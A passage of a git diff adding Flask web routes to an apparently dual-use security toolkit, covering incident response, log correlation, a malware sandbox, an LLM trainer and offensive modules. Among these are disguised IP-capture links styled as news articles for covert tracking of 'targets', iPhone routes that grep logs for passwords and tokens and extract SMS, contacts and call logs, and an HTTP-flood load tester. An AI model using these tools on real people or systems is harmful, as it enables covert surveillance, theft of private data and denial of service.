incident_resp_bp = Blueprint('incident_resp', __name__, url_prefix='/incident-resp')
def _get_ir():
from modules.incident_resp import get_incident_resp
return get_incident_resp()
# ── Page ─────────────────────────────────────────────────────────
@incident_resp_bp.route('/')
@login_required
def index():
return render_template('incident_resp.html')
# ── Incidents CRUD ───────────────────────────────────────────────
@incident_resp_bp.route('/incidents', methods=['POST'])
@login_required
def create_incident():
data = request.get_json(silent=True) or {}
result = _get_ir().create_incident(
name=data.get('name', '').strip(),
incident_type=data.get('type', '').strip(),
severity=data.get('severity', '').strip(),
description=data.get('description', '').strip(),
)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
@incident_resp_bp.route('/incidents', methods=['GET'])
@login_required
def list_incidents():
status = request.args.get('status')
incidents = _get_ir().list_incidents(status=status)
return jsonify({'incidents': incidents})
@incident_resp_bp.route('/incidents/<incident_id>', methods=['GET'])
@login_required
def get_incident(incident_id):
result = _get_ir().get_incident(incident_id)
if 'error' in result:
return jsonify(result), 404
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>', methods=['PUT'])
@login_required
def update_incident(incident_id):
data = request.get_json(silent=True) or {}
result = _get_ir().update_incident(incident_id, data)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>', methods=['DELETE'])
@login_required
def delete_incident(incident_id):
result = _get_ir().delete_incident(incident_id)
if 'error' in result:
return jsonify(result), 404
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>/close', methods=['POST'])
@login_required
def close_incident(incident_id):
data = request.get_json(silent=True) or {}
result = _get_ir().close_incident(incident_id, data.get('resolution_notes', ''))
if 'error' in result:
return jsonify(result), 404
return jsonify(result)
# ── Playbook ─────────────────────────────────────────────────────
@incident_resp_bp.route('/incidents/<incident_id>/playbook', methods=['GET'])
@login_required
def get_playbook(incident_id):
inc = _get_ir().get_incident(incident_id)
if 'error' in inc:
return jsonify(inc), 404
pb = _get_ir().get_playbook(inc['type'])
if 'error' in pb:
return jsonify(pb), 404
pb['progress'] = inc.get('playbook_progress', [])
pb['outputs'] = inc.get('playbook_outputs', [])
return jsonify(pb)
@incident_resp_bp.route('/incidents/<incident_id>/playbook/<int:step>', methods=['POST'])
@login_required
def run_playbook_step(incident_id, step):
data = request.get_json(silent=True) or {}
auto = data.get('auto', False)
result = _get_ir().run_playbook_step(incident_id, step, auto=auto)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
# ── Evidence ─────────────────────────────────────────────────────
@incident_resp_bp.route('/incidents/<incident_id>/evidence/collect', methods=['POST'])
@login_required
def collect_evidence(incident_id):
data = request.get_json(silent=True) or {}
result = _get_ir().collect_evidence(incident_id, data.get('type', ''),
source=data.get('source'))
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>/evidence', methods=['POST'])
@login_required
def add_evidence(incident_id):
data = request.get_json(silent=True) or {}
result = _get_ir().add_evidence(
incident_id,
name=data.get('name', 'manual_note'),
content=data.get('content', ''),
evidence_type=data.get('evidence_type', 'manual'),
)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>/evidence', methods=['GET'])
@login_required
def list_evidence(incident_id):
evidence = _get_ir().list_evidence(incident_id)
return jsonify({'evidence': evidence})
# ── IOC Sweep ────────────────────────────────────────────────────
@incident_resp_bp.route('/incidents/<incident_id>/sweep', methods=['POST'])
@login_required
def sweep_iocs(incident_id):
data = request.get_json(silent=True) or {}
iocs = {
'ips': [ip.strip() for ip in data.get('ips', []) if ip.strip()],
'domains': [d.strip() for d in data.get('domains', []) if d.strip()],
'hashes': [h.strip() for h in data.get('hashes', []) if h.strip()],
}
result = _get_ir().sweep_iocs(incident_id, iocs)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
# ── Timeline ─────────────────────────────────────────────────────
@incident_resp_bp.route('/incidents/<incident_id>/timeline', methods=['GET'])
@login_required
def get_timeline(incident_id):
timeline = _get_ir().get_timeline(incident_id)
return jsonify({'timeline': timeline})
@incident_resp_bp.route('/incidents/<incident_id>/timeline', methods=['POST'])
@login_required
def add_timeline_event(incident_id):
data = request.get_json(silent=True) or {}
from datetime import datetime, timezone
ts = data.get('timestamp') or datetime.now(timezone.utc).isoformat()
result = _get_ir().add_timeline_event(
incident_id, ts,
data.get('event', ''),
data.get('source', 'manual'),
data.get('details'),
)
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>/timeline/auto', methods=['POST'])
@login_required
def auto_build_timeline(incident_id):
result = _get_ir().auto_build_timeline(incident_id)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
# ── Containment ──────────────────────────────────────────────────
@incident_resp_bp.route('/incidents/<incident_id>/contain', methods=['POST'])
@login_required
def contain_host(incident_id):
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
actions = data.get('actions', [])
if not host or not actions:
return jsonify({'error': 'host and actions required'}), 400
result = _get_ir().contain_host(incident_id, host, actions)
if 'error' in result:
return jsonify(result), 400
return jsonify(result)
# ── Report & Export ──────────────────────────────────────────────
@incident_resp_bp.route('/incidents/<incident_id>/report', methods=['GET'])
@login_required
def generate_report(incident_id):
result = _get_ir().generate_report(incident_id)
if 'error' in result:
return jsonify(result), 404
return jsonify(result)
@incident_resp_bp.route('/incidents/<incident_id>/export', methods=['GET'])
@login_required
def export_incident(incident_id):
fmt = request.args.get('fmt', 'json')
result = _get_ir().export_incident(incident_id, fmt=fmt)
if 'error' in result:
return jsonify(result), 404
return jsonify(result)

172
web/routes/ipcapture.py Normal file
View File

@@ -0,0 +1,172 @@
"""IP Capture & Redirect — web routes for stealthy link tracking."""
from flask import (Blueprint, render_template, request, jsonify,
redirect, Response)
from web.auth import login_required
ipcapture_bp = Blueprint('ipcapture', __name__)
def _svc():
from modules.ipcapture import get_ip_capture
return get_ip_capture()
# ── Management UI ────────────────────────────────────────────────────────────
@ipcapture_bp.route('/ipcapture/')
@login_required
def index():
return render_template('ipcapture.html')
@ipcapture_bp.route('/ipcapture/links', methods=['GET'])
@login_required
def list_links():
svc = _svc()
links = svc.list_links()
for l in links:
l['stats'] = svc.get_stats(l['key'])
return jsonify({'ok': True, 'links': links})
@ipcapture_bp.route('/ipcapture/links', methods=['POST'])
@login_required
def create_link():
data = request.get_json(silent=True) or {}
target = data.get('target_url', '').strip()
if not target:
return jsonify({'ok': False, 'error': 'Target URL required'})
if not target.startswith(('http://', 'https://')):
target = 'https://' + target
result = _svc().create_link(
target_url=target,
name=data.get('name', ''),
disguise=data.get('disguise', 'article'),
)
return jsonify(result)
@ipcapture_bp.route('/ipcapture/links/<key>', methods=['GET'])
@login_required
def get_link(key):
svc = _svc()
link = svc.get_link(key)
if not link:
return jsonify({'ok': False, 'error': 'Link not found'})
link['stats'] = svc.get_stats(key)
return jsonify({'ok': True, 'link': link})
@ipcapture_bp.route('/ipcapture/links/<key>', methods=['DELETE'])
@login_required
def delete_link(key):
if _svc().delete_link(key):
return jsonify({'ok': True})
return jsonify({'ok': False, 'error': 'Link not found'})
@ipcapture_bp.route('/ipcapture/links/<key>/export')
@login_required
def export_captures(key):
fmt = request.args.get('format', 'json')
data = _svc().export_captures(key, fmt)
mime = 'text/csv' if fmt == 'csv' else 'application/json'
ext = 'csv' if fmt == 'csv' else 'json'
return Response(data, mimetype=mime,
headers={'Content-Disposition': f'attachment; filename=captures_{key}.{ext}'})
# ── Capture Endpoints (NO AUTH — accessed by targets) ────────────────────────
@ipcapture_bp.route('/c/<key>')
def capture_short(key):
"""Short capture URL — /c/xxxxx"""
return _do_capture(key)
@ipcapture_bp.route('/article/<path:subpath>')
def capture_article(subpath):
"""Article-style capture URL — /article/2026/03/title-slug"""
svc = _svc()
full_path = '/article/' + subpath
link = svc.find_by_path(full_path)
if not link:
return Response('Not Found', status=404)
return _do_capture(link['key'])
@ipcapture_bp.route('/news/<path:subpath>')
def capture_news(subpath):
"""News-style capture URL."""
svc = _svc()
full_path = '/news/' + subpath
link = svc.find_by_path(full_path)
if not link:
return Response('Not Found', status=404)
return _do_capture(link['key'])
@ipcapture_bp.route('/stories/<path:subpath>')
def capture_stories(subpath):
"""Stories-style capture URL."""
svc = _svc()
full_path = '/stories/' + subpath
link = svc.find_by_path(full_path)
if not link:
return Response('Not Found', status=404)
return _do_capture(link['key'])
@ipcapture_bp.route('/p/<path:subpath>')
def capture_page(subpath):
"""Page-style capture URL."""
svc = _svc()
full_path = '/p/' + subpath
link = svc.find_by_path(full_path)
if not link:
return Response('Not Found', status=404)
return _do_capture(link['key'])
@ipcapture_bp.route('/read/<path:subpath>')
def capture_read(subpath):
"""Read-style capture URL."""
svc = _svc()
full_path = '/read/' + subpath
link = svc.find_by_path(full_path)
if not link:
return Response('Not Found', status=404)
return _do_capture(link['key'])
def _do_capture(key):
"""Perform the actual IP capture and redirect."""
svc = _svc()
link = svc.get_link(key)
if not link or not link.get('active'):
return Response('Not Found', status=404)
# Get real client IP
ip = (request.headers.get('X-Forwarded-For', '').split(',')[0].strip()
or request.headers.get('X-Real-IP', '')
or request.remote_addr)
# Record capture with all available metadata
svc.record_capture(
key=key,
ip=ip,
user_agent=request.headers.get('User-Agent', ''),
accept_language=request.headers.get('Accept-Language', ''),
referer=request.headers.get('Referer', ''),
headers=dict(request.headers),
)
# Fast 302 redirect — no page render, minimal latency
target = link['target_url']
resp = redirect(target, code=302)
# Clean headers — no suspicious indicators
resp.headers.pop('X-Content-Type-Options', None)
resp.headers['Server'] = 'nginx'
resp.headers['Cache-Control'] = 'no-cache'
return resp

View File

@@ -0,0 +1,399 @@
"""iPhone Exploitation routes - Local USB device access via libimobiledevice."""
import os
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
iphone_exploit_bp = Blueprint('iphone_exploit', __name__, url_prefix='/iphone-exploit')
def _get_mgr():
from core.iphone_exploit import get_iphone_manager
return get_iphone_manager()
def _get_udid():
data = request.get_json(silent=True) or {}
udid = data.get('udid', '').strip()
if not udid:
return None, jsonify({'error': 'No UDID provided'})
return udid, None
@iphone_exploit_bp.route('/')
@login_required
def index():
mgr = _get_mgr()
status = mgr.get_status()
return render_template('iphone_exploit.html', status=status)
# ── Device Management ────────────────────────────────────────────
@iphone_exploit_bp.route('/devices', methods=['POST'])
@login_required
def list_devices():
return jsonify({'devices': _get_mgr().list_devices()})
@iphone_exploit_bp.route('/device-info', methods=['POST'])
@login_required
def device_info():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().device_info(udid))
@iphone_exploit_bp.route('/fingerprint', methods=['POST'])
@login_required
def fingerprint():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().full_fingerprint(udid))
@iphone_exploit_bp.route('/pair', methods=['POST'])
@login_required
def pair():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().pair_device(udid))
@iphone_exploit_bp.route('/unpair', methods=['POST'])
@login_required
def unpair():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().unpair_device(udid))
@iphone_exploit_bp.route('/validate-pair', methods=['POST'])
@login_required
def validate_pair():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().validate_pair(udid))
@iphone_exploit_bp.route('/get-name', methods=['POST'])
@login_required
def get_name():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().get_name(udid))
@iphone_exploit_bp.route('/set-name', methods=['POST'])
@login_required
def set_name():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
if not name:
return jsonify({'error': 'No name provided'})
return jsonify(_get_mgr().set_name(udid, name))
@iphone_exploit_bp.route('/restart', methods=['POST'])
@login_required
def restart():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().restart_device(udid))
@iphone_exploit_bp.route('/shutdown', methods=['POST'])
@login_required
def shutdown():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().shutdown_device(udid))
@iphone_exploit_bp.route('/sleep', methods=['POST'])
@login_required
def sleep_dev():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().sleep_device(udid))
# ── Capture ──────────────────────────────────────────────────────
@iphone_exploit_bp.route('/screenshot', methods=['POST'])
@login_required
def screenshot():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().screenshot(udid))
@iphone_exploit_bp.route('/syslog', methods=['POST'])
@login_required
def syslog():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
duration = int(data.get('duration', 5))
return jsonify(_get_mgr().syslog_dump(udid, duration=duration))
@iphone_exploit_bp.route('/syslog-grep', methods=['POST'])
@login_required
def syslog_grep():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
pattern = data.get('pattern', 'password|token|key|secret')
duration = int(data.get('duration', 5))
return jsonify(_get_mgr().syslog_grep(udid, pattern, duration=duration))
@iphone_exploit_bp.route('/crash-reports', methods=['POST'])
@login_required
def crash_reports():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().crash_reports(udid))
# ── Apps ─────────────────────────────────────────────────────────
@iphone_exploit_bp.route('/apps/list', methods=['POST'])
@login_required
def list_apps():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
app_type = data.get('type', 'user')
return jsonify(_get_mgr().list_apps(udid, app_type=app_type))
@iphone_exploit_bp.route('/apps/install', methods=['POST'])
@login_required
def install_app():
udid = request.form.get('udid', '').strip()
if not udid:
return jsonify({'error': 'No UDID provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().install_app(udid, upload_path))
@iphone_exploit_bp.route('/apps/uninstall', methods=['POST'])
@login_required
def uninstall_app():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
bundle_id = data.get('bundle_id', '').strip()
if not bundle_id:
return jsonify({'error': 'No bundle_id provided'})
return jsonify(_get_mgr().uninstall_app(udid, bundle_id))
# ── Backup & Extraction ─────────────────────────────────────────
@iphone_exploit_bp.route('/backup/create', methods=['POST'])
@login_required
def backup_create():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
encrypted = data.get('encrypted', False)
password = data.get('password', '')
return jsonify(_get_mgr().create_backup(udid, encrypted=encrypted, password=password))
@iphone_exploit_bp.route('/backup/list', methods=['POST'])
@login_required
def backup_list():
return jsonify(_get_mgr().list_backups())
@iphone_exploit_bp.route('/backup/sms', methods=['POST'])
@login_required
def backup_sms():
data = request.get_json(silent=True) or {}
backup_path = data.get('backup_path', '').strip()
if not backup_path:
return jsonify({'error': 'No backup_path provided'})
return jsonify(_get_mgr().extract_backup_sms(backup_path))
@iphone_exploit_bp.route('/backup/contacts', methods=['POST'])
@login_required
def backup_contacts():
data = request.get_json(silent=True) or {}
backup_path = data.get('backup_path', '').strip()
if not backup_path:
return jsonify({'error': 'No backup_path provided'})
return jsonify(_get_mgr().extract_backup_contacts(backup_path))
@iphone_exploit_bp.route('/backup/calls', methods=['POST'])
@login_required
def backup_calls():
data = request.get_json(silent=True) or {}
backup_path = data.get('backup_path', '').strip()
if not backup_path:
return jsonify({'error': 'No backup_path provided'})
return jsonify(_get_mgr().extract_backup_call_log(backup_path))
@iphone_exploit_bp.route('/backup/notes', methods=['POST'])
@login_required
def backup_notes():
data = request.get_json(silent=True) or {}
backup_path = data.get('backup_path', '').strip()
if not backup_path:
return jsonify({'error': 'No backup_path provided'})
return jsonify(_get_mgr().extract_backup_notes(backup_path))
@iphone_exploit_bp.route('/backup/files', methods=['POST'])
@login_required
def backup_files():
data = request.get_json(silent=True) or {}
backup_path = data.get('backup_path', '').strip()
if not backup_path:
return jsonify({'error': 'No backup_path provided'})
domain = data.get('domain', '')
path_filter = data.get('path_filter', '')
return jsonify(_get_mgr().list_backup_files(backup_path, domain=domain, path_filter=path_filter))
@iphone_exploit_bp.route('/backup/extract-file', methods=['POST'])
@login_required
def backup_extract_file():
data = request.get_json(silent=True) or {}
backup_path = data.get('backup_path', '').strip()
file_hash = data.get('file_hash', '').strip()
if not backup_path or not file_hash:
return jsonify({'error': 'Missing backup_path or file_hash'})
output_name = data.get('output_name') or None
return jsonify(_get_mgr().extract_backup_file(backup_path, file_hash, output_name=output_name))
# ── Filesystem ───────────────────────────────────────────────────
@iphone_exploit_bp.route('/fs/mount', methods=['POST'])
@login_required
def fs_mount():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().mount_filesystem(udid))
@iphone_exploit_bp.route('/fs/mount-app', methods=['POST'])
@login_required
def fs_mount_app():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
bundle_id = data.get('bundle_id', '').strip()
if not bundle_id:
return jsonify({'error': 'No bundle_id provided'})
return jsonify(_get_mgr().mount_app_documents(udid, bundle_id))
@iphone_exploit_bp.route('/fs/unmount', methods=['POST'])
@login_required
def fs_unmount():
data = request.get_json(silent=True) or {}
mountpoint = data.get('mountpoint', '').strip()
if not mountpoint:
return jsonify({'error': 'No mountpoint provided'})
_get_mgr().unmount_filesystem(mountpoint)
return jsonify({'success': True, 'output': 'Unmounted'})
# ── Profiles ─────────────────────────────────────────────────────
@iphone_exploit_bp.route('/profiles/list', methods=['POST'])
@login_required
def profiles_list():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().list_profiles(udid))
@iphone_exploit_bp.route('/profiles/install', methods=['POST'])
@login_required
def profiles_install():
udid = request.form.get('udid', '').strip()
if not udid:
return jsonify({'error': 'No UDID provided'})
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().install_profile(udid, upload_path))
@iphone_exploit_bp.route('/profiles/remove', methods=['POST'])
@login_required
def profiles_remove():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
profile_id = data.get('profile_id', '').strip()
if not profile_id:
return jsonify({'error': 'No profile_id provided'})
return jsonify(_get_mgr().remove_profile(udid, profile_id))
# ── Network ──────────────────────────────────────────────────────
@iphone_exploit_bp.route('/port-forward', methods=['POST'])
@login_required
def port_forward():
udid, err = _get_udid()
if err:
return err
data = request.get_json(silent=True) or {}
local_port = data.get('local_port')
device_port = data.get('device_port')
if not local_port or not device_port:
return jsonify({'error': 'Missing local_port or device_port'})
return jsonify(_get_mgr().port_forward(udid, int(local_port), int(device_port)))
# ── Recon ────────────────────────────────────────────────────────
@iphone_exploit_bp.route('/recon/export', methods=['POST'])
@login_required
def recon_export():
udid, err = _get_udid()
if err:
return err
return jsonify(_get_mgr().export_recon_report(udid))

180
web/routes/llm_trainer.py Normal file
View File

@@ -0,0 +1,180 @@
"""LLM Trainer routes — dataset generation, fine-tuning, GGUF conversion."""
import json
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
from web.auth import login_required
llm_trainer_bp = Blueprint('llm_trainer', __name__, url_prefix='/llm-trainer')
def _get_trainer():
from modules.llm_trainer import get_trainer
return get_trainer()
# ==================== PAGE ====================
@llm_trainer_bp.route('/')
@login_required
def index():
return render_template('llm_trainer.html')
# ==================== DEPENDENCIES ====================
@llm_trainer_bp.route('/deps', methods=['POST'])
@login_required
def check_deps():
"""Check training dependencies."""
return jsonify(_get_trainer().check_dependencies())
@llm_trainer_bp.route('/deps/install', methods=['POST'])
@login_required
def install_deps():
"""Install training dependencies."""
results = _get_trainer().install_dependencies()
return jsonify({'results': results})
# ==================== CODEBASE ====================
@llm_trainer_bp.route('/scan', methods=['POST'])
@login_required
def scan_codebase():
"""Scan the AUTARCH codebase."""
return jsonify(_get_trainer().scan_codebase())
# ==================== DATASET ====================
@llm_trainer_bp.route('/dataset/generate', methods=['POST'])
@login_required
def generate_dataset():
"""Generate training dataset from codebase."""
data = request.get_json(silent=True) or {}
result = _get_trainer().generate_dataset(
format=data.get('format', 'sharegpt'),
include_source=data.get('include_source', True),
include_qa=data.get('include_qa', True),
include_module_creation=data.get('include_module_creation', True),
)
return jsonify(result)
@llm_trainer_bp.route('/dataset/list')
@login_required
def list_datasets():
"""List generated datasets."""
return jsonify({'datasets': _get_trainer().list_datasets()})
@llm_trainer_bp.route('/dataset/preview', methods=['POST'])
@login_required
def preview_dataset():
"""Preview samples from a dataset."""
data = request.get_json(silent=True) or {}
filename = data.get('filename', '')
limit = int(data.get('limit', 10))
return jsonify(_get_trainer().preview_dataset(filename, limit))
@llm_trainer_bp.route('/dataset/delete', methods=['POST'])
@login_required
def delete_dataset():
"""Delete a dataset file."""
data = request.get_json(silent=True) or {}
filename = data.get('filename', '')
success = _get_trainer().delete_dataset(filename)
return jsonify({'success': success})
# ==================== MODEL BROWSER ====================
@llm_trainer_bp.route('/browse', methods=['POST'])
@login_required
def browse_models():
"""Browse local directories for model files."""
data = request.get_json(silent=True) or {}
directory = data.get('directory', '')
return jsonify(_get_trainer().browse_models(directory))
# ==================== TRAINING ====================
@llm_trainer_bp.route('/train/config')
@login_required
def get_training_config():
"""Get default training configuration."""
return jsonify(_get_trainer().get_training_config())
@llm_trainer_bp.route('/train/start', methods=['POST'])
@login_required
def start_training():
"""Start LoRA fine-tuning."""
config = request.get_json(silent=True) or {}
return jsonify(_get_trainer().start_training(config))
@llm_trainer_bp.route('/train/status')
@login_required
def training_status():
"""Get training status and log."""
return jsonify(_get_trainer().get_training_status())
@llm_trainer_bp.route('/train/stop', methods=['POST'])
@login_required
def stop_training():
"""Stop training."""
success = _get_trainer().stop_training()
return jsonify({'success': success})
# ==================== CONVERSION ====================
@llm_trainer_bp.route('/adapters')
@login_required
def list_adapters():
"""List saved LoRA adapters."""
return jsonify({'adapters': _get_trainer().list_adapters()})
@llm_trainer_bp.route('/convert', methods=['POST'])
@login_required
def merge_and_convert():
"""Merge LoRA adapter and convert to GGUF."""
data = request.get_json(silent=True) or {}
adapter_path = data.get('adapter_path', '')
output_name = data.get('output_name', 'autarch_model')
quantization = data.get('quantization', 'Q5_K_M')
return jsonify(_get_trainer().merge_and_convert(adapter_path, output_name, quantization))
@llm_trainer_bp.route('/models')
@login_required
def list_models():
"""List GGUF models."""
return jsonify({'models': _get_trainer().list_models()})
# ==================== EVALUATION ====================
@llm_trainer_bp.route('/evaluate', methods=['POST'])
@login_required
def evaluate_model():
"""Evaluate a GGUF model with test prompts."""
data = request.get_json(silent=True) or {}
model_path = data.get('model_path', '')
prompts = data.get('prompts', None)
return jsonify(_get_trainer().evaluate_model(model_path, prompts))
# ==================== STATUS ====================
@llm_trainer_bp.route('/status')
@login_required
def get_status():
"""Get trainer status."""
return jsonify(_get_trainer().get_status())

144
web/routes/loadtest.py Normal file
View File

@@ -0,0 +1,144 @@
"""Load testing web routes — start/stop/monitor load tests from the web UI."""
import json
import queue
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
loadtest_bp = Blueprint('loadtest', __name__, url_prefix='/loadtest')
@loadtest_bp.route('/')
@login_required
def index():
return render_template('loadtest.html')
@loadtest_bp.route('/start', methods=['POST'])
@login_required
def start():
"""Start a load test."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
if not target:
return jsonify({'ok': False, 'error': 'Target is required'})
try:
from modules.loadtest import get_load_tester
tester = get_load_tester()
if tester.running:
return jsonify({'ok': False, 'error': 'A test is already running'})
config = {
'target': target,
'attack_type': data.get('attack_type', 'http_flood'),
'workers': int(data.get('workers', 10)),
'duration': int(data.get('duration', 30)),
'requests_per_worker': int(data.get('requests_per_worker', 0)),
'ramp_pattern': data.get('ramp_pattern', 'constant'),
'ramp_duration': int(data.get('ramp_duration', 0)),
'method': data.get('method', 'GET'),
'headers': data.get('headers', {}),
'body': data.get('body', ''),
'timeout': int(data.get('timeout', 10)),
'follow_redirects': data.get('follow_redirects', True),
'verify_ssl': data.get('verify_ssl', False),
'rotate_useragent': data.get('rotate_useragent', True),
'custom_useragent': data.get('custom_useragent', ''),
'rate_limit': int(data.get('rate_limit', 0)),
'payload_size': int(data.get('payload_size', 1024)),
}
tester.start(config)
return jsonify({'ok': True, 'message': 'Test started'})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@loadtest_bp.route('/stop', methods=['POST'])
@login_required
def stop():
"""Stop the running load test."""
try:
from modules.loadtest import get_load_tester
tester = get_load_tester()
tester.stop()
return jsonify({'ok': True})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@loadtest_bp.route('/pause', methods=['POST'])
@login_required
def pause():
"""Pause the running load test."""
try:
from modules.loadtest import get_load_tester
tester = get_load_tester()
tester.pause()
return jsonify({'ok': True})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@loadtest_bp.route('/resume', methods=['POST'])
@login_required
def resume():
"""Resume a paused load test."""
try:
from modules.loadtest import get_load_tester
tester = get_load_tester()
tester.resume()
return jsonify({'ok': True})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@loadtest_bp.route('/status')
@login_required
def status():
"""Get current test status and metrics."""
try:
from modules.loadtest import get_load_tester
tester = get_load_tester()
metrics = tester.metrics.to_dict() if tester.running else {}
return jsonify({
'running': tester.running,
'paused': not tester._pause_event.is_set() if tester.running else False,
'metrics': metrics,
})
except Exception as e:
return jsonify({'running': False, 'error': str(e)})
@loadtest_bp.route('/stream')
@login_required
def stream():
"""SSE stream for live metrics."""
try:
from modules.loadtest import get_load_tester
tester = get_load_tester()
except Exception:
return Response("data: {}\n\n", mimetype='text/event-stream')
sub = tester.subscribe()
def generate():
try:
while tester.running:
try:
data = sub.get(timeout=2)
yield f"data: {json.dumps(data)}\n\n"
except queue.Empty:
# Send keepalive
m = tester.metrics.to_dict() if tester.running else {}
yield f"data: {json.dumps({'type': 'metrics', 'data': m})}\n\n"
# Send final metrics
m = tester.metrics.to_dict()
yield f"data: {json.dumps({'type': 'done', 'data': m})}\n\n"
finally:
tester.unsubscribe(sub)
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})

View File

@@ -0,0 +1,82 @@
"""Log Correlator routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
log_correlator_bp = Blueprint('log_correlator', __name__, url_prefix='/logs')
def _get_engine():
from modules.log_correlator import get_log_correlator
return get_log_correlator()
@log_correlator_bp.route('/')
@login_required
def index():
return render_template('log_correlator.html')
@log_correlator_bp.route('/ingest/file', methods=['POST'])
@login_required
def ingest_file():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().ingest_file(data.get('path', ''), data.get('source')))
@log_correlator_bp.route('/ingest/text', methods=['POST'])
@login_required
def ingest_text():
data = request.get_json(silent=True) or {}
return jsonify(_get_engine().ingest_text(data.get('text', ''), data.get('source', 'paste')))
@log_correlator_bp.route('/search')
@login_required
def search():
return jsonify(_get_engine().search_logs(
request.args.get('q', ''), request.args.get('source'),
int(request.args.get('limit', 100))
))
@log_correlator_bp.route('/alerts', methods=['GET', 'DELETE'])
@login_required
def alerts():
if request.method == 'DELETE':
_get_engine().clear_alerts()
return jsonify({'ok': True})
return jsonify(_get_engine().get_alerts(
request.args.get('severity'), int(request.args.get('limit', 100))
))
@log_correlator_bp.route('/rules', methods=['GET', 'POST', 'DELETE'])
@login_required
def rules():
engine = _get_engine()
if request.method == 'POST':
data = request.get_json(silent=True) or {}
return jsonify(engine.add_rule(
rule_id=data.get('id', ''), name=data.get('name', ''),
pattern=data.get('pattern', ''), severity=data.get('severity', 'medium'),
threshold=data.get('threshold', 1), window_seconds=data.get('window_seconds', 0),
description=data.get('description', '')
))
elif request.method == 'DELETE':
data = request.get_json(silent=True) or {}
return jsonify(engine.remove_rule(data.get('id', '')))
return jsonify(engine.get_rules())
@log_correlator_bp.route('/stats')
@login_required
def stats():
return jsonify(_get_engine().get_stats())
@log_correlator_bp.route('/sources')
@login_required
def sources():
return jsonify(_get_engine().get_sources())
@log_correlator_bp.route('/timeline')
@login_required
def timeline():
return jsonify(_get_engine().get_timeline(int(request.args.get('hours', 24))))
@log_correlator_bp.route('/clear', methods=['POST'])
@login_required
def clear():
_get_engine().clear_logs()
return jsonify({'ok': True})

View File

@@ -0,0 +1,71 @@
"""Malware Sandbox routes."""
import os
from flask import Blueprint, request, jsonify, render_template, current_app
from web.auth import login_required
malware_sandbox_bp = Blueprint('malware_sandbox', __name__, url_prefix='/sandbox')
def _get_sandbox():
from modules.malware_sandbox import get_sandbox
return get_sandbox()
@malware_sandbox_bp.route('/')
@login_required
def index():
return render_template('malware_sandbox.html')
@malware_sandbox_bp.route('/status')
@login_required
def status():
return jsonify(_get_sandbox().get_status())
@malware_sandbox_bp.route('/submit', methods=['POST'])
@login_required
def submit():
sb = _get_sandbox()
if request.content_type and 'multipart' in request.content_type:
f = request.files.get('sample')
if not f:
return jsonify({'ok': False, 'error': 'No file uploaded'})
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
filepath = os.path.join(upload_dir, f.filename)
f.save(filepath)
return jsonify(sb.submit_sample(filepath, f.filename))
else:
data = request.get_json(silent=True) or {}
return jsonify(sb.submit_sample(data.get('path', ''), data.get('name')))
@malware_sandbox_bp.route('/samples')
@login_required
def samples():
return jsonify(_get_sandbox().list_samples())
@malware_sandbox_bp.route('/static', methods=['POST'])
@login_required
def static_analysis():
data = request.get_json(silent=True) or {}
return jsonify(_get_sandbox().static_analysis(data.get('path', '')))
@malware_sandbox_bp.route('/dynamic', methods=['POST'])
@login_required
def dynamic_analysis():
data = request.get_json(silent=True) or {}
job_id = _get_sandbox().dynamic_analysis(data.get('path', ''), data.get('timeout', 60))
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@malware_sandbox_bp.route('/report', methods=['POST'])
@login_required
def generate_report():
